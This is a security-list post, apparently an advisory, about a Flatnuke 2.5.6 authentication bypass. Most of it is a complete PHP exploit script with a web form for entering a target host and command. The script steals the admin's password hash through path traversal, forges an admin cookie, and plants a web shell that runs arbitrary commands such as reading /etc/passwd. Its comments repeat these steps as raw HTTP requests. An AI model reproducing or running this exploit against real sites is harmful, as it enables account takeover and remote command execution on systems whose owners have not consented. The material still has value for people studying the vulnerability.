[EXPL] Flatnuke Authentication Bypass (Exploit)

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Flatnuke Authentication Bypass (Exploit)
------------------------------------------------------------------------


SUMMARY

<http://flatnuke.sourceforge.net/> Flatnuke is "an open sourced CMS
(Content Management System)". Flatnuke does not validate if the user that
is trying to access the administration page is in fact an administrator,
allowing normal users to gain access to the MD5 hashed password of the
administrator as well as other users.

DETAILS

Vulnerable Systems:
* Flatnuke version 2.5.6

Exploit:
<?php
# ---flatnuke_256_xpl.php 4.32 10/12/2005
#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140)
#
# coded by rgod at http://rgod.altervista.org
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explaination: if magic_quotes_gpc you can have any admin/user MD5
password
# hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
#
mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution
exploit ***
</title><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;
SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }
img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important}
option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1
{font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:
0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} *
{font-style:
normal !important} *{text-decoration: none !important}
a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration:
underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p
class="Stile6">
*** Flatnuke 2.5.6 remote commands execution exploit *** </p><p
class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank";>
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form
name="form1" method="post"
action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname
(ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path
(ex:
/flatnuke/ or just / ) </span></p><p><input type="text" name="command">
<span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="port"> <span class="Stile5">specify a port other than 80 ( default
value )</span> </p> <p> <input type="text" name="proxy"><span
class="Stile5">
send exploit through an HTTP proxy (ip:port) </span></p><p><input
type="submit"
name="Submit" value="go!"></p></form> </td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>&nbsp&nbsp</td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if
not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " .
socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port
".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{

$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.")
" . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);

}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);

srand(make_seed());
$v = rand(1,9999);
$username="SUNTZU".$v;
echo '<br>Your username: '.htmlentities($username);

#STEP 1 -> Register...
$data="op=reg&nome=".$username;
$data.="&regpass=jimihendrix";
$data.="&reregpass=jimihendrix";
$data.="&anag=jimihendrix";
$data.="&email=fake@xxxxxxxxxxxx";
$data.="&homep=".urlencode('http://www.asite.com');
$data.="&prof=PUNK";
$data.="&prov=whereimfrom";
$data.="&ava=clanbomber.png";
$data.="&url_avatar=";
$data.="&firma=";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);

#STEP 2 -> Login... (you cannot see memberlist if you are note
registered...)
$data="op=login&nome=".$username."&logpassword=jimihendrix";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
$temp2=explode(' ',$temp[2]);
$cookie.=" ".$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);

#STEP 3 -> Retrieve admin name from memberlist
for ($i=1; $i<=100; $i++)
{
$packet="GET ".$path."forum/index.php?op=members&page=".$i."
HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi('class=normal>10',$html)) {echo "trovato...".$i; break; }
}
$temp=explode("class=normal>10",$html);
$temp2=explode("user=",$temp[0]);
$temp=explode(">",$temp2[count($temp2)-1]);
$ADMIN=$temp[0];
echo '<br>Admin: '.htmlentities($ADMIN);

#STEP 4 -> Retrieve admin MD5 password hash...
$packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00
HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (!eregi("<?",$html)) {die("Exploit failed... it seems we have
magic_quotes_gpc on here...");}
$temp=explode("<?".chr(0x0a)."#",$html);
$temp2=explode(chr(0x0a),$temp[1]);
$HASH=$temp2[0];
echo '<br>Admin md5 password hash: '.htmlentities($HASH);
# Now build new admin cookie...
$SECID=md5($ADMIN.$HASH);
$COOKIE="myforum=".$ADMIN."; secid=".$SECID.";";
echo '<br>Now you have admin cookie: '.htmlentities($COOKIE);

#STEP 5 -> Edit some file... example: my profile ;)
$COMPTEMPT="<?\n#". md5("jimihendrix").
"\n#jimihendrix\n#fake@xxxxxxxxxxxx\n#http://www.asite.com\n";;
$COMPTEMPT.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n";
//assign level 10 to new user
//edit this, if system() is disabled you may try passtrhu(),exec() or
backticks...
//we also see phpinfo()
$SHELL.=$COMPTEMPT."<?php echo \"Hi
Master\";error_reporting(0);ini_set(\"max_execution_time\",0); phpinfo();
system(\$HTTP_GET_VARS[cmd]);?>";
$SHELL=urlencode($SHELL);
$data="mod=modcont&from=index.php&body=". $SHELL.
"&file=forum%2fusers%2f".$username.".php";
$packet="POST ".$path."verify.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);

#STEP 6 -> Launch commands...
$packet="GET ".$path."forum/users/". $username.
".php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can
login as admin with<br>";
echo "username: ".$username."<br>";
echo "password: jimihendrix<br>";
}
else {echo "Exploit failed...";}
}
else {echo "Fill * required fields, optionally specify a proxy..."; }

?>

# EoF


ADDITIONAL INFORMATION

The information has been provided by <mailto:retrogod@xxxxxxxxxxxxx>
rgod.
The original article can be found at:
<http://rgod.altervista.org/flatnuke256_xpl.html>
http://rgod.altervista.org/flatnuke256_xpl.html



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